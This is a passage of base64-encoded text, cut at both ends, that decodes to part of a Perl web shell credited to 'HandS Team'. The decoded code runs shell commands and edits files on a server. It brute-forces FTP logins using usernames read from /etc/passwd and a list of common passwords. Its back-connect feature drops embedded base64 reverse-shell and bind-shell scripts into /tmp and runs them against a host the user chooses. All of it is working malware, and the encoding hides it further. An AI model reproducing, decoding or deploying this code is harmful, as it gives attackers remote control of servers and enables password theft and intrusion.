0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQgPSIiOwoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNzOjxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwoxMjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dvcmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcKNjc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAjCiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91CjwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iSGFuZFMgVGVhbSIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCR1c2VybmFtZSBuZSAiIikKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkgKiAxMDAwKTsKCQkJCQl9CgkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJfQoJCQl9CgkJfQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kRm9ybQp7CglyZXR1cm4gPDxFTkQ7Cgk8YnI+PGJyPgoKCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+Cgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPgoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4KCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iSGFuZFMgVGVhbSI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayEKCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+CgoJPGJyPjxicj4KCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoKCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4KCgkgTSYjNzg1Mzt0IEtoJiM3ODQ5O3U6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkhhbmRTIFRlYW0iPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CglpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgIiRmaWxlIjsKCX0KCXJldHVybiAiMCI7Cn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRz